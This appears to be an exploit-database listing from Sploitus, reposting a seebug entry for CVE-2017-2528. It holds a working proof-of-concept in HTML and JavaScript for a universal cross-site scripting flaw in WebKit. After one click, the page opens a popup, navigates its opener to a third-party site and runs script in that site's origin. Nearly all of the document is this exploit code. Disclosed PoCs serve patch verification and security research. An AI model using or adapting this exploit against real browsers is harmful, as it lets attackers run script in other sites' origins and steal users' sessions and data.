Sploitus

Exploit for WebKit: UXSS: CachedFrame doesn't detach openers

CVE-2017-2528

seebug · 2017-06-06

Exploit Code

MARKDOWN54 lines
## https://sploitus.com/exploit?id=SSV:93182
<body>
Click anywhere.
<script>

window.onclick = () => {
    window.onclick = null;

    let w = open('about:blank', '', 'width=500, height=500');
    w.eval(`
let f = document.body.appendChild(document.createElement('iframe'));
f.contentWindow.name = 'zzz';
opener.open('about:blank', 'zzz');

function navigate(w, url, cb = null) {
    w.__check = true;

    let a = w.document.createElement('a');
    a.href = url;
    a.click();

    if (!cb)
        return;

    let it = setInterval(() => {
        let navigated = false;
        try {
            if (!w.__check)
                navigated = true;
        } catch (e) {
            navigated = true;
        }

        if (navigated) {
            clearInterval(it);
            cb();
        }
    }, 10);
}

navigate(opener, 'https://abc.xyz/', () => {
    f.srcdoc = '<script>opener.alert(opener.location);</scrip' + 't>';
    f.contentWindow.onbeforeunload = () => {
        f.contentWindow.onbeforeunload = null;

        navigate(window, 'about:blank');
    };

    navigate(f.contentWindow, 'about:srcdoc');
});`);
}

</script>
</body>